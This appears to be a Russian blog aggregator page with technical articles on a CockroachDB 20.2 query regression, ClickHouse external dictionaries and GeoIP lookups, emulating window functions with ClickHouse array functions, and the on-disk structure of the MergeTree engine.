I201130 10:36:00.786376 5085793 sql/exec_log.go:225  [n2,client=192.168.114.18:21850,hostssl,user=db1] 67 520.064ms exec "PostgreSQL JDBC Driver" {} "SELECT typinput = 'array_in'::REGPROC AS is_array, typtype, typname FROM pg_catalog.pg_type LEFT JOIN (SELECT ns.oid AS nspoid, ns.nspname, r.r FROM pg_namespace AS ns JOIN (SELECT s.r, (current_schemas(false))[s.r] AS nspname FROM ROWS FROM (generate_series(1, array_upper(current_schemas(false), 1))) AS s (r)) AS r USING (nspname)) AS sp ON sp.nspoid = typnamespace WHERE typname = $1 ORDER BY sp.r, pg_type.oid DESC" {$1:"'jsonb'"} 1 "" 0 { LATENCY_THRESHOLD }

Получается, что тормозили системные таблицы CockroachDB.

После того, как клиент подтвердил проблемы с производительностью уже в облачной инсталляции CockroachDB, источник проблемы стал проясняться: было похоже на улучшенную поддержку SQL, что появилась в релизе 20.2. План запросов к схеме pg_catalog заметно отличался от 20.1.8, и мы стали свидетелями регрессии.

Собрав все факты, сделали issue на GitHub, где разработчики после нескольких попыток воспроизведения проблемы смогли подтвердить её и пообещали решить в скором времени. Исходя из этого клиент принял решение переходить на новую версию, так как сейчас баг мешает нам только при старте, увеличивая время старта инстанса приложения.

ОБНОВЛЕНО (уже после написания статьи): Проблемы были исправлены в релизе CockroachDB 20.2.3 в Pull Request 57574.

Заключение


Как видно, иногда даже очевидные и простые операции могут повлечь за собой головную боль. Но выход всё равно можно найти, не так ли?.. Надеюсь, эти истории помогут и другим инженерам в повседневной работе. Stay tuned!

P.S.


Читайте также в нашем блоге:

Подробнее..

Как создавать и использовать словари в ClickHouse

06.08.2020 12:10:31 | Автор: admin


Если вы открыли эту дверь статью, то наверняка, вы уже имели дело с ClickHouse и можно упустить интересные подробности об его удобстве и скорости, а перейти сразу к делу собственно, к тому, как создавать словари и работать с ними в ClickHouse.


Что такое словари в ClickHouse?


Словарь это отображение данных в виде key value. Появление словарей очень упростило использование сторонних источников данных в ClickHouse, автоматизировав все необходимые ETL-процессы для доставки данных в пригодную для запросов форму.
Из преимуществ использования словарей в ClickHouse можно выделить несколько пунктов:


  • ClickHouse имеет поддержку различных вариантов расположения словарей в памяти.
  • Поддержка TTL ClickHouse автоматически обновляет словари и подгружает отсутствующие значения.
  • ClickHouse предоставляет несколько вариантов для описания внешних словарей XML-файлы и DDL-запросы.

Подключение словарей


Подключить собственные словари можно из различных источников данных: локального текстового/исполняемого файла, HTTP(s) ресурса, другой СУБД и т.д.


Конфигурация этих словарей может находиться в одном или нескольких xml-файлах, путь к которым указывается в параметре dictionaries_config в конфигурационном файле ClickHouse.


Словари могут загружаться при старте сервера или при первом использовании, в зависимости от настройки dictionaries_lazy_load.


Также обновление словарей (кроме загрузки при первом использовании) не блокирует запросы во время обновления запросы используют старую версию словарей.


Для просмотра информации о словарях, сконфигурированных на сервере, есть таблица system.dictionaries, в ней можно найти:


  • статус словаря;
  • конфигурационные параметры;
  • метрики, наподобие количества занятой словарем RAM или количества запросов к словарю с момента его успешной загрузки.

Конфигурация словарей


На данный момент есть способ конфигурации словарей через xml файлы и через DDL-запросы. Вы можете использовать любой удобный для вас способ, но самый простой способ создавать и контролировать словари это используя DDL-запросы.


Общий внешний вид конфигурации xml словаря:


<yandex>    <!--Необязательный элемент, комментарии к словарям-->    <comment>Some comments</comment>    <!--Необязательный элемент, имя файла с подстановками-->    <include_from>/etc/metrika.xml</include_from>    <dictionary>        <!-- Конфигурация словаря -->    </dictionary>    ...    <dictionary>        <!-- Конфигурация словаря -->    </dictionary></yandex>

Если вы выбрали создание словарей через DDL-запросы, то не задавайте конфигурацию словаря в конфигурации сервера.


Пример конфигурации словаря:


<dictionary>    <name>clients</name>    <sоurce>        <clickhouse>            <host>myHostName</host>            <port>9000</port>            <user>admin</user>            <password>secret_password</password>            <db>clients</db>            <table>users</table>            <where>id<=10</where>        </clickhouse>    </sоurce>    <lifetime>        <min>3600</min>        <max>5400</max>    </lifetime>    <layout>        <flat/>    </layout>    <structure>        <id>user_id</id>        <attribute>            <name>username</name>            <type>string</type>        </attribute>        <attribute>            <name>age</name>            <type>Int8</type>        </attribute>    </structure></dictionary>

Поля настройки:


  • name имя словаря;
  • source источник словаря;
  • lifetime периодичность обновления словарей;
  • layout размещение словаря в памяти. От этого значения зависит скорость обработки словаря;
  • structure структура словаря. Ключ и атрибуты, которые можно получить по ключу.

Пример создания словаря через DDL-запрос:


CREATE DICTIONARY dict_users_id (    id UInt64,    username String,    email String,    status UInt16,    hash String)PRIMARY KEY idSOURCE(MYSQL(    port 3306    user clickhouse    password secret_password    replica(host 'mysql1.fevlake.com' priority 1)    db fevlake_dicts    table users))LAYOUT(HASHED())LIFETIME(MIN 3600 MAX 5400);

Источники внешних словарей


Внешние словари можно подключить через множество разных источников. Основные из них это:


  • Локальный файл
  • Исполняемый файл
  • HTTP(s)
  • СУБД

Самые распространенные способы подключения словарей через локальный файл либо СУБД, поэтому именно их мы и рассмотрим далее.


Локальный файл


Пример подключения словаря через локальный файл имеет следующий вид:


<sоurce>    <file>      <path>/opt/dictionaries/clients.csv</path>      <format>CSV</format>    </file></sоurce>

Поля настройки:


  • path абсолютный путь к файлу.
  • format формат файла. Поддерживаются все форматы ClickHouse.

Или через DDL-запрос:


SOURCE(FILE(path '/opt/dictionaries/clients.csv' format 'CSV'))SETTINGS(format_csv_allow_single_quotes = 0)

СУБД


Рассмотрим подключение СУБД на примере MySQL базы данных.


Пример настройки:


<sоurce>    <mysql>        <port>3306</port>        <user>clickhouse</user>        <password>secret_password</password>        <replica>            <host>example01-1</host>            <priority>1</priority>        </replica>        <replica>            <host>example01-2</host>            <priority>1</priority>        </replica>        <db>db_name</db>        <table>table_name</table>        <where>id=10</where>        <invalidate_query>SQL_QUERY</invalidate_query>    </mysql></sоurce>

  • port порт сервера MySQL. Можно задать отдельно для каждой реплики внутри тега <replica>.
  • user имя пользователя MySQL. Можно задать отдельно для каждой реплики внутри тега <replica>.
  • password пароль пользователя MySQL. Можно задать отдельно для каждой реплики внутри тега <replica>.
  • replica блок конфигурации реплики. Блоков может быть несколько.
  • db имя базы данных.
  • table имя таблицы.
  • where условие выбора. Синтаксис полностью совпадает с синтаксисом секцииWHEREв MySQL, к примеру,id >= 3 AND id < 10 (необязательный параметр).
  • invalidate_query запрос для проверки статуса словаря (необязательный параметр).

Или через DDL-запрос:


SOURCE(MYSQL(    port 3306    user clickhouse    password secret_password    replica(host 'mysql1.fevlake.com' priority 1)    db fevlake_dicts    table users))

Хранение словарей в памяти


Существует много способов хранения словарей в памяти ClickHouse:


  • flat
  • hashed
  • sparse_hashed
  • cache
  • direct
  • range_hashed
  • complex_key_hashed
  • complex_key_cache
  • complex_key_direct
  • ip_trie

Самые популярные из них всего 3, поскольку скорость обработки словарей при этом максимальна, это flat, hashed и complex_key_hashed. Давайте рассмотрим примеры этих способов хранения.


Flat


Словари полностью хранятся в оперативной памяти в виде плоских массивов, при этом объем занятой памяти пропорционален размеру самого большого по размеру ключа словаря. Ключ словаря должен иметь тип UInt64 и не должен быть длиннее 500 000, иначе ClickHouse бросит исключение и не создаст словарь.


Этот метод хранения обеспечивает максимальную производительность среди всех доступных способов хранения словаря.


Пример конфигурации:


<layout>    <flat/></layout>

или


LAYOUT(FLAT())

Hashed


Словарь полностью хранится в оперативной памяти в виде хэш-таблиц и может содержать произвольное количество элементов с произвольными идентификаторами. На практике, количество ключей может достигать десятков миллионов элементов.


Пример конфигурации:


<layout>    <hashed/></layout>

или


LAYOUT(HASHED())

Сomplex_key_hashed


Этот тип размещения предназначен для использования с составнымиключами. Аналогиченhashed способу.


Пример конфигурации:


<layout>    <hashed/></layout>

или


LAYOUT(COMPLEX_KEY_HASHED())

Ключ и поля словаря


Секция<structure>описывает ключ словаря и поля, доступные для запросов.


Описание в формате XML:


<structure>    <id>user_id</id>    <attribute>        <name>username</name>        <type>string</type>    </attribute>    <attribute>        <name>age</name>        <type>Int8</type>    </attribute></structure>

Поля настройки:


  • <id>столбец с ключом;
  • <attribute>столбец данных. Можно задать несколько атрибутов.

Ключи


ClickHouse поддерживает следующие виды ключей:


  • Числовой ключ.UInt64. Описывается в теге<id>или ключевым словомPRIMARY KEY.
  • Составной ключ. Набор значений разного типа. Описывается в теге<key>или ключевым словомPRIMARY KEY.

Числовой ключ


Тип:UInt64.


Пример конфигурации:


<id>    <name>user_id</name></id>

или


CREATE DICTIONARY (    user_id UInt64,    ...)PRIMARY KEY user_id...

  • PRIMARY KEY имя столбца с ключами.

Составной ключ


Ключом может быть кортеж (tuple) из полей произвольных типов. В этом случаеlayoutдолжен бытьcomplex_key_hashedилиcomplex_key_cache.


Структура ключа задается в элементе<key>. Поля ключа задаются в том же формате, что иатрибутысловаря. Пример:


<key>    <attribute>        <name>field1</name>        <type>String</type>    </attribute>    <attrbute>        <name>field2</name>        <type>UInt32</type>    </attribute>    ...</key>

или


CREATE DICTIONARY ( field1 String, field2 String ... )PRIMARY KEY field1, field2...

Атрибуты


<structure>    ...    <attribute>        <name>Name</name>        <type>ClickHouseDataType</type>        <null_value></null_value>        <expression>rand64()</expression>        <hierarchical>true</hierarchical>        <injective>true</injective>        <is_object_id>true</is_object_id>    </attribute></structure>

или


CREATE DICTIONARY somename (    Name ClickHouseDataType DEFAULT '' EXPRESSION rand64() HIERARCHICAL INJECTIVE IS_OBJECT_ID)

Как можно использовать словари в ClickHouse


Один из популярных кейсов использования словарей в ClickHouse это агрегация данных по странам на основе IP (v4) адресов.


Представим, что перед нами задача: из данных колонки с ip String получить в запросе колонку с country String. Для решения данной задачи мы возьмем довольно популярные базы GeoIP2 от MaxMind.


MaxMind предоставляет со своими .mmdb базами API для большинства популярных языков программирования.


В ClickHouse нет возможности загрузить в словарь формат .mmdb, но нам это и не понадобится MaxMind позволяет загрузить свои базы в виде нескольких CSV, чем мы и воспользуемся.


Для того чтобы связать IP со страной, нам необходимо скачать следующие файлы:


  • GeoIP2-Country-Blocks-IPv4.csv здесь содержатся связи IP префиксов и ID стран;
  • GeoIP2-Country-Locations-en.csv а здесь уже названия стран на английском.

Далее, заведем соответствующие словари с помощью DDL:


CREATE DICTIONARY dicts.geoip_country_blocks_ipv4 (    network String DEFAULT '',    geoname_id UInt64 DEFAULT 0,    registered_country_geoname_id UInt64 DEFAULT 0,    represented_country_geoname_id UInt64 DEFAULT 0,    is_anonymous_proxy UInt8 DEFAULT 0,    is_satellite_provider UInt8 DEFAULT 0) PRIMARY KEY networkSOURCE(FILE(    path '/var/lib/clickhouse/user_files/GeoIP2-Country-Blocks-IPv4.csv'    format 'CSVWithNames'))LAYOUT(IP_TRIE())LIFETIME(300);

В словаре geoip_country_blocks_ipv4 мы должны указать два основных атрибута:


  • network IP префикс сети, он же и будет ключом словаря.
  • geoname_id ID страны.

Остальные атрибуты в соответствии с заголовком в CSV.


Чтобы ClickHouse мог корректно сопоставить префикс сети и ID, нам необходимо использовать тип размещения ip_trie. Для получения значений из такого словаря необходимо будет передавать IP адрес в числовом представлении.


Теперь geoip_country_locations_en:


CREATE DICTIONARY dicts.geoip_country_locations_en (    geoname_id UInt64 DEFAULT 0,    locale_code String DEFAULT '',    continent_code String DEFAULT '',    continent_name String DEFAULT '',    country_iso_code String DEFAULT '',    country_name String DEFAULT '',    is_in_european_union UInt8 DEFAULT 0)PRIMARY KEY geoname_idSOURCE(FILE(    path '/var/lib/clickhouse/user_files/GeoIP2-Country-Locations-en.csv'    format 'CSVWithNames'))LAYOUT(HASHED())LIFETIME(300);

Нам нужно связать ID и название страны. В заголовках GeoIP2-Country-Locations-en.csv можно найти следующие атрибуты:


  • geoname_id ID страны, как в предыдущем словаре, но теперь в качестве ключа.
  • country_name название страны.

В качестве типа размещения указываем оптимизированный hashed.


В каждом из словарей необходимо указать пути к соответствующим CSV файлам.


Теперь, имея таблицу user_visits (user_ip String, user_id UUID), можем посчитать количество уникальных значений по странам. Один из способов это сделать использовать функции для работы со словарями dictGet*:


SELECT     dictGetString('dicts.geoip_city_locations_en', 'country_name', users_country_id) AS users_country,     uniqsFROM (    SELECT         dictGetUInt64('dicts.geoip_country_blocks_ipv4', 'geoname_id', tuple(IPv4StringToNum(user_ip))) AS users_country_id,         uniq(user_id) AS uniqs    FROM user_visits    GROUP BY users_country_id);

Разберем данный запрос:


  1. конвертируем строковое представление user_ip в числовое и оборачиваем в кортеж, чтобы соответствовать составному ключу ip_trie-словаря: tuple(IPv4StringToNum(user_ip));
  2. используем получившийся ключ, чтобы забрать ID страны как users_country_id: dictGetUInt64('geoip_country_blocks_ipv4', 'geoname_id', ...) as users_country_id;
  3. добавляем в запрос саму метрику: uniq(user_id) as uniq_users;
  4. агрегируем по ID страны, который взяли из словаря: GROUP BY users_country_id;
  5. результат, содержащий ID стран, сопоставляем с названиями: dictGetString('geoip_city_locations_en', 'country_name', users_country_id) AS users_country.

Таким образом возможно сопоставлять не только названия стран. В тех же GeoIP2 базах есть много другой полезной информации, не бойтесь пробовать :)


Заключение


На этом первичное знакомство со словарями закончено. Надеюсь, что данная информация расширит ваши возможности использования ClickHouse и поможет правильно настраивать внешние источники данных.

Подробнее..

Clickhouse оконные функции, которых нет

18.08.2020 14:15:47 | Автор: admin
Работу с колоночными базами данных я начал с BigQuery. Когда пришлось переехать на Clickhouse я был неприятно удивлен фактом отсутствия полноценных оконных функций. Есть, конечно, множество функций по работе с массивами, функций высшего порядка и прочие функции (одна функция runningDifferenceStartingWithFirstValue чего стоит). Сразу на ум приходит победитель 1999 года на звание самого длинного слова Donaudampfschifffahrtsgesellschaftskapitnswitwe. Что в переводе с немецкого означает вдова капитана пароходного общества на Дунае.
Поиск по словосочетанию оконные функции в Clickhouse не дает вразумительных результатов. Эта статья является попыткой обобщить разрозненные данные из интернета, примеры с ClickHouseMeetup и собственный опыт.

Оконные функции синтаксис


Напомню синтаксис оконных функций и вид результата, который мы получим. В примерах будем использовать диалект Standart SQL Google BigQuery. Вот ссылка на документацию об оконных функциях (в документации они называются analytic function более точный перевод звучит как аналитические функции). А здесь сам список функций.

Обобщенный синтаксис выглядит так:

analytic_function_name ( [ argument_list ] ) OVER over_clauseover_clause:  { named_window | ( [ window_specification ] ) }window_specification:  [ named_window ]  [ PARTITION BY partition_expression [, ...] ]  [ ORDER BY expression [ { ASC | DESC }  ] [, ...] ]  [ window_frame_clause ]window_frame_clause:  { rows_range } { frame_start | frame_between }rows_range:  { ROWS | RANGE }

Разберем по шагам:
  1. Оконная функция применяется к набору записей, определенному в выражении over_clause,
  2. Набор записей определяется конструкцией PARTITION BY. Здесь можно перечислить одно или несколько полей, по которым будет определяться набор записей. Работает аналогично GROUP BY.
    Сортировка записей в рамках набора определяется с помощью ORDER BY.
  3. На предварительно определенный набор записей можно дополнительно наложить ограничение в виде окна. Окно можно определить статически. Например, можно брать в качестве окна можно брать 5 записей, 2 до и 2 после текущей записи и саму текущую запись. Выглядеть это будет так: ROWS BETWEEN 2 PRECEDING AND 2 FOLLOWING.
    Пример конструкции для задания динамически определяемого окна выглядит так RANGE BETWEEN UNBOUNDED PRECEDING AND CURRENT ROW. Эта конструкция определяет окно от первой до текущей записи в соответствии с заданным порядком сортировки.

В качестве примера можно рассмотреть вычисление кумулятивной суммы (пример из документации)

SELECT item, purchases, category, SUM(purchases)  OVER (    PARTITION BY category    ORDER BY purchases    ROWS BETWEEN UNBOUNDED PRECEDING AND CURRENT ROW  ) AS total_purchasesFROM Produce

Результат:
+-------------------------------------------------------+| item      | purchases  | category   | total_purchases |+-------------------------------------------------------+| orange    | 2          | fruit      | 2               || apple     | 8          | fruit      | 10              || leek      | 2          | vegetable  | 2               || cabbage   | 9          | vegetable  | 11              || lettuce   | 10         | vegetable  | 21              || kale      | 23         | vegetable  | 44              |+-------------------------------------------------------+

Что можно сделать в Clickhouse


Попробуем повторить этот пример в ClickHouse. Конечно, в ClickHouse есть функции runningAccumulate, arrayCumSum и groupArrayMovingSum. Но в первом случае нужно определять состояние в подзапросе (подробнее), а во втором случае функция возвращает array, который затем нужно развернуть.
Мы сконструируем самый общий запрос. Сам запрос может выглядеть так:

SELECT   items,   summ as purchases,   category,   sumArray(cum_summ) as total_purchasesFROM (SELECT         category,         groupArray(item) AS items,         groupArray(purchases) AS summ,         arrayMap(x -> arraySlice(summ, 1, x), arrayEnumerate(summ)) AS cum_summ     FROM (SELECT               item,               purchases,               category           FROM produce           ORDER BY category, purchases)     GROUP BY category)   ARRAY JOIN items, summ, cum_summGROUP BY category, items, summORDER BY category, purchases


Разберем по шагам:
  1. Сначала конструируем подзапрос, внутри которого происходит нужная сортировка данных (ORDER BY category, purchases). Сортировка должна соответствовать полям в выражениях PARTITION BY и ORDER BY оконной функции.
  2. Далее выполняем группировку в массивы всех полей, которые есть в запросе, но не упомянуты в PARTITION BY. В нашем случае поле item будет свернуто в массив на этом шаге и развернуто без изменений на следующем.
    Поле purchases также будет свернуто на этом шаге и развернуто на следующем, но его агрегат summ будет использован в конструкторе нового поля.
  3. Самое интересное использование функции ArrayMap. Эта функция возвращает массив, полученный на основе результатов применения функции func к каждому элементу массива arr.
    В нашем случае массив arr это массив массив [1, 2, , length(summ)], который генерирует функция arrayEnumerate.
    А функция func это arraySlice(summ, 1, x), где единственным аргументом выступает x элемент массива arr, описанного выше. Функция возвращает массив из элементов массива summ начиная с первого и длиной x. Таким образом, в поле cum_sum мы получим массив, в котором каждый элемент представляет собой также массив, сумма элементов которого и будет искомой оконной функцией.
    Применяя ArrayMap с функцией arrayEnumerate мы определяем окно, ограничивающее значения, над которыми будет работать агрегатная функция. Ниже пример окна статического размера (размер 3), аналог конструкции ROWS BETWEEN 1 PRECEDING AND 1 FOLLOWING.

    arrayMap(x -> arraySlice(summ, if(x-1 > 0, x-1, 1), if(x-1 > 0, 3, 2)), arrayEnumerate(summ))
    

    Здесь нужно сделать замечание, относительно функций по работе с массивами. Есть 2 класса таких функций в ClickHouse:
    • Функции высшего порядка особенностью этих функций является невозможность вызова функции внутри функции. То есть нельзя напрямую использовать, скажем, функцию arrayMap в качестве аргумента функции arrayFilter. Но выход есть можно на предыдущей (или последующей без разницы) строке задать синоним (alias) для результата выполнения arrayMap, а затем этот синоним использовать в качестве аргумента функции arrayFilter в том же запросе.
    • Функции по работе с массивами здесь ограничений нет. Можно легко использовать, например, функцию arrayReverse в качестве аргумента функции arraySlice.

  4. Последний шаг мы должны развернуть массивы в таблицу с помощью ARRAY JOIN. Также мы должные применить агрегатную функцию sum с модификатором -Array (в результате агрегатная функция выглядит как sumArray) к результату, возвращаемому функцией ArrayMap.

Вывод


Есть возможность эмулировать работу оконных функций в ClickHouse. Не очень быстро и не очень красиво. Кратко пайплан состоит из 3-х шагов:
  1. Запрос с сортировкой. На этом шаге идет подготовка набора записей.
  2. Группировка в массивы и выполнение операций с массивом. На этом шаге определяется окно нашей оконной функции.
  3. Обратное развертывание в таблицу с применение агрегатных функций.
Подробнее..
Категории: Sql , Big data , Аналитика , Clickhouse

ClickHouse как устроен MergeTree

11.02.2021 16:05:53 | Автор: admin

Моя команда использует ClickHouse как хранилище для 100 млрд записей страфиком по300 млн всутки ипоиском потаблице. Ярасскажу обустройстве движка таблиц MergeTree. Рассказ буду вести, показывая физические данные, анеабстрактные схемы.



MergeTree это сердце ClickHouse, остальные движки скорее вспомогательные. Название отсылает кLSM-дереву, которое давно используется вдругих СУБД.



Последовательный доступ решает, даже для SSD


ClickHouse задумывался для аналитики, под большую пропускную способность записи ичтения. Чтобы получить максимальную пропускную способность записи можно просто писать вконец файла, без поддержания всяких индексов ипроизвольных seekов, нокак без них обеспечить скорость чтения? Ведь поиск попроизвольным данным без индекса быстрым быть неможет. Получается, нужно либо упорядочивать вмомент вставки, либо фуллсканить вмомент чтения. Оба варианта гробят пропускную способность. ClickHouse решил упорядочивать посередине: вфоне.


Так ипоявился компромисс ввиде MergeTree: пишем надиск небольшие куски отсортированных данных, которые ClickHouse сливает вфоне для поддержания упорядоченности.


Концептуальная идея, надеюсь, ясна, приступим крассмотрению работы MergeTree подмикроскопом.


Лабораторная работа


Достанем из-под парты ClickHouse версии 20.8.9.6 исоздадим таблицу снебольшим числом колонок. Вкачестве первичного ключа выберем user_id. ClickHouse создал папку /var/lib/clickhouse/data/default/clicks.


Про index_granularity чуть позже.


create table clicks(    date      DateTime,    user_id   Int64,    banner_id String) engine = MergeTree() order by user_id settings index_granularity = 2;

Вставим 10строчек:


+-------------------+-------+---------+|date               |user_id|banner_id|+-------------------+-------+---------+|2021-01-01 15:43:58|157    |lqe(|    ||2021-01-01 15:45:38|289    |freed    ||2021-01-01 15:47:18|421    |08&N0    ||2021-01-01 15:48:58|553    |n5UD$    ||2021-01-01 15:50:38|685    |1?!Up    ||2021-01-01 15:52:18|817    |caHy6    ||2021-01-01 15:53:58|949    |maXZD    ||2021-01-01 15:55:38|1081   |Fx:BO    ||2021-01-01 15:57:18|1213   |\v8j+    ||2021-01-01 15:58:58|1345   |szEG)    |+-------------------+-------+---------+

Надиске появился один кусок данных (data part) all_1_1_0. Посмотрим, изчего онсостоит:


  • all название партиции. Поскольку выражения партиционирования вCREATE TABLE мынезадали, вся таблица будет водной партиции.
  • 1_1 это срез блоков, который хранится впарте.
  • 0 это уровень вдереве слияний. Нулевой уровень упервых протопартов, если два парта слить, тоихуровень увеличится на1.

all_1_1_0/ banner_id.bin banner_id.mrk2 checksums.txt columns.txt count.txt date.bin date.mrk2 primary.idx user_id.bin user_id.mrk2

Появился первичный индекс primary.idx иподва файла накаждую колонку: mrk2 иbin.


  • columns.txt информация околонках.
  • count.txt число строк вкуске.

Первичный индекс primary.idx, онже разрежённый


Вprimary.idx лежат засечки: отсортированные значения выражения первичного ключа, заданного вCREATE TABLE, для каждой index_granularity строки: для строки0, index_granularity, index_granularity*2 ит.д. Размер гранулы index_granularity это степень разреженности индекса primary.idx. Для каждого запроса ClickHouse читает сдиска целое количество гранул. Если задать большой размер гранулы, будет прочитано много лишних строк, если маленький увеличится размер первичного индекса, который хранится воперативке для быстродействия.


Последняя засечка (здесь 1345) нужна, чтобы знать, начём заканчивается таблица.
od -i просто отображает байты как целые положительные четырёхбайтные числа.


od -i all_1_1_0/primary.idx0000000               157               0             421               00000020               685               0             949               00000040              1213               0            1345               00000060

Файлы данных .bin


Файлы bin содержат значения колонок, отсортированные повыражению первичного ключа, внашем случае user_id. Данные хранятся всжатом виде, единица сжатия блок. N-ое значение принадлежит кN-ой строке.


banner_id.bin:


cat  all_1_1_0/banner_id.bin | clickhouse-compressor -d | od -a0000000  enq   l   q   e   (   | enq   f   r   e   e   d enq   0   8   &0000020    N   0 enq   n   5   U   D   $ enq   1   ?   !   U   p enq   c0000040    a   H   y   6 enq   m   a   X   Z   D enq   F   x   :   B   O0000060  enq   \   v   8   j   + enq   s   z   E   G   )

user_id.bin:


cat  all_1_1_0/user_id.bin | clickhouse-compressor -d | od -i0000000               157               0             289               00000020               421               0             553               00000040               685               0             817               00000060               949               0            1081               00000100              1213               0            1345               0

Ну и date.bin, в виде epoch-time:


cat  all_1_1_0/date.bin | clickhouse-compressor -d | od -i0000000        1609515838      1609515938      1609516038      16095161380000020        1609516238      1609516338      1609516438      16095165380000040        1609516638      16095167380000050#от пятница,  1 января 2021 г. 15:43:58 (UTC) #до пятница,  1 января 2021 г. 15:58:58 (UTC)

Стоп, апочему данные отсортированы? Ведь мывставляли строки впроизвольном порядке? Дело втом, что ClickHouse сортирует вставляемые строки воперативке сиспользованием красно-чёрного дерева, ивремя отвремени сбрасывает его надиск ввиде immutable дата-парта.


Есть DELETE иUPDATE, ноэти команды недля рутинного использования, они работают вфоне, инеменяют старые парты, асоздают новые.


Благодаря тому, что столбцы хранятся всвоих файлах, можно читать только тестолбцы, которые указаны вSELECT, также эффективнее сжатие засчет однотипности данных. Поэтой причине ClickHouse иназывается колончатой СУБД.


Файлы засечек .mrk2


Для каждой засечки изprimary.idx mrk2знает, где именно вbin-файле начинаются значения соответствующей колонки.


Засечка вmrk2 состоит из3положительных 8-битных чисел, всего 24байта: смещение блока вbin-файле, смещение вразжатом блоке иколичество строк вгрануле. Третье число пока неважно.


Читаем третью засечку:


#читаем 24 байта как числа long начиная с 48 байт смещенияod -l -j 48 -N 24 all_1_1_0/user_id.mrk20000060                                 0                              320000100                                 20000110

Пройдём поэтому указателю, пропустив 32байта внулевом блоке:


cat  all_1_1_0/user_id.bin | clickhouse-compressor -d |od -j 32 -i -N 40000040               6850000044

Видим значение первичного ключа изчетвёртой строки. Это иесть начало третьей засечки вprimary.idx!


Тоесть mrk2-файлы нужны просто для чтения bin-файлов, вних лежит переход отномера строки кбайтовому смещению диска. Можно представить это как клей между реляционной абстракцией ифизическим хранилищем.


Поиск поMergeTree


Рассмотрим, как выполняется запрос сусловием напервичный ключ. ClickHouse спомощью бинарного поиска поprimary.idx вычисляет, скакой строки нужно читать данные. Тоесть попервичному индексу вычисляются области строк таблицы, которые могут удовлетворять запросу.


Видно, что 982 лежит между гранулами 949 и1213, поэтому можно прочесть только одну гранулу:


--включаем логи в clickhouse-clientset send_logs_level = 'trace';SELECT *FROM clicksWHERE user_id = 982Selected 1 parts by date, 1 parts by key, 1 marks by primary key, 1 marks to read from 1 rangesReading approx. 2 rows with 1 streams

Авот если сделать поиск поколонке вне первичного ключа, придётся делать фуллскан:


SELECT *FROM clicksWHERE banner_id = 'genbykj[';Selected 1 parts by date, 1 parts by key, 5 marks by primary key, 5 marks to read from 1 rangesReading approx. 10 rows with 1 streams

Это делает ClickHouse СУБД плохо справляющейся сточечными запросами, ведь приходится читать много лишних строк. Если размер гранулы поумолчанию 8192, аврезультате только одна строка, тоэффективность чтения 1/8192 = 0.0001.


Партиции


Теперь разберемся, что такое партиции. Добавим выражение партиционирования вCREATE TABLE, обрезая дату додня:


create table clicks(    date      DateTime,    user_id   Int64,    banner_id String) engine = MergeTree() order by user_id partition by toYYYYMMDD(date);+-------------------+-------+---------+|date               |user_id|banner_id|+-------------------+-------+---------+|2021-01-16 13:34:29|157    ||^/g~    ||2021-01-16 18:51:09|289    |/y;ny    ||2021-01-17 00:07:49|421    |@7bbc    ||2021-01-17 05:24:29|553    |.[e/{    ||2021-01-17 10:41:09|685    |0Wj)m    ||2021-01-17 15:57:49|817    |W6@Oo    ||2021-01-17 21:14:29|949    |tvQZ&    ||2021-01-18 02:31:09|1081   |ZPeCE    ||2021-01-18 07:47:49|1213   |H|$PI    ||2021-01-18 13:04:29|1345   |a'0^J    |+-------------------+-------+---------+

После вставки 10строк, надиске появились три парта вместо одного: на16, 17, 18января 2021года:


clicks 20210116_1_1_0 20210117_2_2_0 20210118_3_3_0

Внутри парты такиеже, как ибез партиционирования, нодобавился файл, хранящий партицию, ккоторой относится парт:


cat clicks/20210118_3_3_0/partition.dat | od -i0000000    202101180000004

Иminmax индекс подате, вкотором хранятся минимальное имаксимальное значение даты впарте:


od -i 20210116_1_1_0/minmax_date.idx0000000  1610804069  16108230690000010date --utc -d @1610804069Sat Jan 16 13:34:29 UTC 2021date --utc -d @1610823069Sat Jan 16 18:51:09 UTC 2021

Теперь посмотрим, как партиции помогают впоиске:


--запрос по выражению, участвующего в партиционированииSELECT *FROM clicksWHERE (date >= toUnixTimestamp('2021-01-17 00:00:00', 'UTC')) AND (date < toUnixTimestamp('2021-01-17 16:00:00', 'UTC'))--зная границы дат каждого парта, легко узнать, какие парты читать не нужноMinMax index condition: (column 0 in [1610841600, +inf)), (column 0 in (-inf, 1610899199]), andNot using primary index on part 20210117_2_2_0Selected 1 parts by date, 1 parts by key, 1 marks by primary key, 1 marks to read from 1 rangesReading approx. 8192 rows with 1 streamsdateuser_idbanner_id 2021-01-17 03:07:49      421  @7bbc      2021-01-17 08:24:29      553  .[e/{      2021-01-17 13:41:09      685  0Wj)m      2021-01-17 18:57:49      817  W6@Oo     Read 4 rows, 104.00 B in 0.002051518 sec., 1949 rows/sec., 49.51 KiB/sec.--запрос без участия партицийSELECT *FROM clicksWHERE banner_id = 'genbykj['--приходится читать все парты, в три параллельных потокаNot using primary index on part 20210117_2_2_0Not using primary index on part 20210116_1_1_0Not using primary index on part 20210118_3_3_0Selected 3 parts by date, 3 parts by key, 3 marks by primary key, 3 marks to read from 3 rangesReading approx. 24576 rows with 3 streamsRead 10 rows, 140.00 B in 0.001798808 sec., 5559 rows/sec., 76.01 KiB/sec.

Дата-парты также удобно смотреть через системную таблицу:


SELECT name, rows, min_time, max_timeFROM system.partsWHERE table = 'clicks'namerowsmin_timemax_time 20210116_1_1_0     2  2021-01-16 16:34:29  2021-01-16 21:51:09  20210117_2_2_0     4  2021-01-17 03:07:49  2021-01-17 18:57:49  20210118_3_3_0     4  2021-01-18 00:14:29  2021-01-18 16:04:29 

Итого мыувидели, что каждый дата-парт принадлежит кодной партиции, ипри поиске ClickHouse старается читать только нужные партиции. Ещё партиции можно отдельно удалять, отключать ипроизводить над ними другие операции.


Слияние дата-партов


Для того, чтобы количество партов неразрасталось, ClickHouse производит фоновое слияние кусков. При слиянии также срабатывает логика вReplacing, Summing, Collapsing идругих вариациях движка MergeTree. При слиянии двух отсортированных партов появляется один отсортированный.


